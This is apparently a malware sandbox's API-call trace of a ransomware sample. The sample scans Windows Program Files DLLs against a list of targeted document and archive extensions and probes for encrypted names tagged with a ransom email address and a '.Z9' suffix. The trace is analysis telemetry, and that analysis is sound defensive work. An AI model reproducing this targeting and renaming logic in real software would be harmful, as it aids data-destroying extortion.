	[0091.931] lstrlenW (lpString=".pdf") returned 4
	[0091.931] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.931] lstrlenW (lpString=".xls") returned 4
	[0091.931] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.931] lstrlenW (lpString=".xlsx") returned 5
	[0091.931] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0091.931] lstrlenW (lpString=".ppt") returned 4
	[0091.931] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.931] lstrlenW (lpString=".zip") returned 4
	[0091.931] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.931] lstrlenW (lpString=".rar") returned 4
	[0091.931] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.931] lstrlenW (lpString=".bz2") returned 4
	[0091.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.931] lstrlenW (lpString=".7z") returned 3
	[0091.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.932] lstrlenW (lpString=".dbf") returned 4
	[0091.932] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.932] lstrlenW (lpString=".1cd") returned 4
	[0091.932] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.932] lstrlenW (lpString=".jpg") returned 4
	[0091.932] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.932] lstrlenW (lpString=".doc") returned 4
	[0091.932] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.932] lstrlenW (lpString=".docx") returned 5
	[0091.932] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0091.932] lstrlenW (lpString=".pdf") returned 4
	[0091.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.932] lstrlenW (lpString=".xls") returned 4
	[0091.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.932] lstrlenW (lpString=".xlsx") returned 5
	[0091.932] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0091.932] lstrlenW (lpString=".ppt") returned 4
	[0091.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.932] lstrlenW (lpString=".zip") returned 4
	[0091.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.932] lstrlenW (lpString=".rar") returned 4
	[0091.932] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.932] lstrlenW (lpString=".bz2") returned 4
	[0091.932] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.932] lstrlenW (lpString=".7z") returned 3
	[0091.932] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.932] lstrlenW (lpString=".dbf") returned 4
	[0091.932] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.933] lstrlenW (lpString=".1cd") returned 4
	[0091.933] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.933] lstrlenW (lpString=".jpg") returned 4
	[0091.933] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.933] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0091.933] lstrlenW (lpString="msader15.dll.mui") returned 16
	[0091.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.934] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=17920) returned 1
	[0091.934] CloseHandle (hObject=0x388) returned 1
	[0091.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20
	[0091.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.935] lstrlenW (lpString=".doc") returned 4
	[0091.935] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0091.935] lstrlenW (lpString=".docx") returned 5
	[0091.935] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0091.935] lstrlenW (lpString=".pdf") returned 4
	[0091.935] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0091.935] lstrlenW (lpString=".xls") returned 4
	[0091.935] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0091.935] lstrlenW (lpString=".xlsx") returned 5
	[0091.935] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0091.935] lstrlenW (lpString=".ppt") returned 4
	[0091.935] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0091.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.935] lstrlenW (lpString=".zip") returned 4
	[0091.935] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0091.935] lstrlenW (lpString=".rar") returned 4
	[0091.935] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0091.935] lstrlenW (lpString=".bz2") returned 4
	[0091.935] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0091.935] lstrlenW (lpString=".7z") returned 3
	[0091.935] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0091.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.935] lstrlenW (lpString=".dbf") returned 4
	[0091.935] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0091.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.936] lstrlenW (lpString=".1cd") returned 4
	[0091.936] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0091.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.936] lstrlenW (lpString=".jpg") returned 4
	[0091.936] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0091.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.936] lstrlenW (lpString=".doc") returned 4
	[0091.936] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0091.936] lstrlenW (lpString=".docx") returned 5
	[0091.936] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0091.936] lstrlenW (lpString=".pdf") returned 4
	[0091.936] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0091.936] lstrlenW (lpString=".xls") returned 4
	[0091.936] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0091.936] lstrlenW (lpString=".xlsx") returned 5
	[0091.936] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0091.936] lstrlenW (lpString=".ppt") returned 4
	[0091.936] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0091.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.936] lstrlenW (lpString=".zip") returned 4
	[0091.936] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0091.936] lstrlenW (lpString=".rar") returned 4
	[0091.936] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0091.936] lstrlenW (lpString=".bz2") returned 4
	[0091.936] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0091.936] lstrlenW (lpString=".7z") returned 3
	[0091.936] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0091.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.936] lstrlenW (lpString=".dbf") returned 4
	[0091.936] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0091.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.936] lstrlenW (lpString=".1cd") returned 4
	[0091.936] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0091.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0091.937] lstrlenW (lpString=".jpg") returned 4
	[0091.937] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0091.937] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0091.937] lstrlenW (lpString="msader15.dll") returned 12
	[0091.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.939] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2560) returned 1
	[0091.940] CloseHandle (hObject=0x38c) returned 1
	[0091.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20
	[0091.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.019] lstrlenW (lpString=".doc") returned 4
	[0092.019] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.019] lstrlenW (lpString=".docx") returned 5
	[0092.019] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0092.019] lstrlenW (lpString=".pdf") returned 4
	[0092.019] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.019] lstrlenW (lpString=".xls") returned 4
	[0092.019] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.019] lstrlenW (lpString=".xlsx") returned 5
	[0092.019] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0092.019] lstrlenW (lpString=".ppt") returned 4
	[0092.019] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.019] lstrlenW (lpString=".zip") returned 4
	[0092.019] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.019] lstrlenW (lpString=".rar") returned 4
	[0092.019] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.019] lstrlenW (lpString=".bz2") returned 4
	[0092.019] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.019] lstrlenW (lpString=".7z") returned 3
	[0092.019] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.019] lstrlenW (lpString=".dbf") returned 4
	[0092.019] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.020] lstrlenW (lpString=".1cd") returned 4
	[0092.020] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.020] lstrlenW (lpString=".jpg") returned 4
	[0092.020] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.020] lstrlenW (lpString=".doc") returned 4
	[0092.020] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.020] lstrlenW (lpString=".docx") returned 5
	[0092.020] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0092.020] lstrlenW (lpString=".pdf") returned 4
	[0092.020] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.020] lstrlenW (lpString=".xls") returned 4
	[0092.020] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.020] lstrlenW (lpString=".xlsx") returned 5
	[0092.020] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0092.020] lstrlenW (lpString=".ppt") returned 4
	[0092.020] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.020] lstrlenW (lpString=".zip") returned 4
	[0092.020] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.020] lstrlenW (lpString=".rar") returned 4
	[0092.020] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.020] lstrlenW (lpString=".bz2") returned 4
	[0092.020] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.020] lstrlenW (lpString=".7z") returned 3
	[0092.020] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.020] lstrlenW (lpString=".dbf") returned 4
	[0092.020] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.020] lstrlenW (lpString=".1cd") returned 4
	[0092.020] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0092.021] lstrlenW (lpString=".jpg") returned 4
	[0092.021] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.021] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0092.021] lstrlenW (lpString="msdaprsr.dll.mui") returned 16
	[0092.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.026] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=7680) returned 1
	[0092.026] CloseHandle (hObject=0x300) returned 1
	[0092.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20
	[0092.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.032] lstrlenW (lpString=".doc") returned 4
	[0092.032] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0092.032] lstrlenW (lpString=".docx") returned 5
	[0092.032] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0092.032] lstrlenW (lpString=".pdf") returned 4
	[0092.032] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0092.032] lstrlenW (lpString=".xls") returned 4
	[0092.032] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0092.032] lstrlenW (lpString=".xlsx") returned 5
	[0092.032] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0092.032] lstrlenW (lpString=".ppt") returned 4
	[0092.032] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0092.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.032] lstrlenW (lpString=".zip") returned 4
	[0092.032] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0092.032] lstrlenW (lpString=".rar") returned 4
	[0092.032] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0092.032] lstrlenW (lpString=".bz2") returned 4
	[0092.032] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0092.032] lstrlenW (lpString=".7z") returned 3
	[0092.032] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0092.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.032] lstrlenW (lpString=".dbf") returned 4
	[0092.032] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0092.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.032] lstrlenW (lpString=".1cd") returned 4
	[0092.033] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0092.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.033] lstrlenW (lpString=".jpg") returned 4
	[0092.033] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0092.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.033] lstrlenW (lpString=".doc") returned 4
	[0092.033] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0092.033] lstrlenW (lpString=".docx") returned 5
	[0092.033] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0092.033] lstrlenW (lpString=".pdf") returned 4
	[0092.033] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0092.033] lstrlenW (lpString=".xls") returned 4
	[0092.033] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0092.033] lstrlenW (lpString=".xlsx") returned 5
	[0092.033] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0092.033] lstrlenW (lpString=".ppt") returned 4
	[0092.033] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0092.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.033] lstrlenW (lpString=".zip") returned 4
	[0092.033] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0092.033] lstrlenW (lpString=".rar") returned 4
	[0092.033] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0092.033] lstrlenW (lpString=".bz2") returned 4
	[0092.033] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0092.033] lstrlenW (lpString=".7z") returned 3
	[0092.033] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0092.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.033] lstrlenW (lpString=".dbf") returned 4
	[0092.033] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0092.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.033] lstrlenW (lpString=".1cd") returned 4
	[0092.033] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0092.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0092.034] lstrlenW (lpString=".jpg") returned 4
	[0092.034] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0092.034] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.034] lstrlenW (lpString="msdarem.dll") returned 11
	[0092.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.035] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=221696) returned 1
	[0092.035] CloseHandle (hObject=0x300) returned 1
	[0092.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20
	[0092.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.036] lstrlenW (lpString=".doc") returned 4
	[0092.036] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.036] lstrlenW (lpString=".docx") returned 5
	[0092.036] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0092.036] lstrlenW (lpString=".pdf") returned 4
	[0092.036] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.036] lstrlenW (lpString=".xls") returned 4
	[0092.036] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.036] lstrlenW (lpString=".xlsx") returned 5
	[0092.036] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0092.036] lstrlenW (lpString=".ppt") returned 4
	[0092.036] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.036] lstrlenW (lpString=".zip") returned 4
	[0092.036] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.036] lstrlenW (lpString=".rar") returned 4
	[0092.036] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.036] lstrlenW (lpString=".bz2") returned 4
	[0092.036] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.036] lstrlenW (lpString=".7z") returned 3
	[0092.036] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.036] lstrlenW (lpString=".dbf") returned 4
	[0092.036] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.036] lstrlenW (lpString=".1cd") returned 4
	[0092.036] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.036] lstrlenW (lpString=".jpg") returned 4
	[0092.036] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.036] lstrlenW (lpString=".doc") returned 4
	[0092.037] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.037] lstrlenW (lpString=".docx") returned 5
	[0092.037] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0092.037] lstrlenW (lpString=".pdf") returned 4
	[0092.037] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.037] lstrlenW (lpString=".xls") returned 4
	[0092.037] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.037] lstrlenW (lpString=".xlsx") returned 5
	[0092.037] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0092.037] lstrlenW (lpString=".ppt") returned 4
	[0092.037] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.037] lstrlenW (lpString=".zip") returned 4
	[0092.037] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.037] lstrlenW (lpString=".rar") returned 4
	[0092.037] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.037] lstrlenW (lpString=".bz2") returned 4
	[0092.037] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.037] lstrlenW (lpString=".7z") returned 3
	[0092.037] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.037] lstrlenW (lpString=".dbf") returned 4
	[0092.037] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
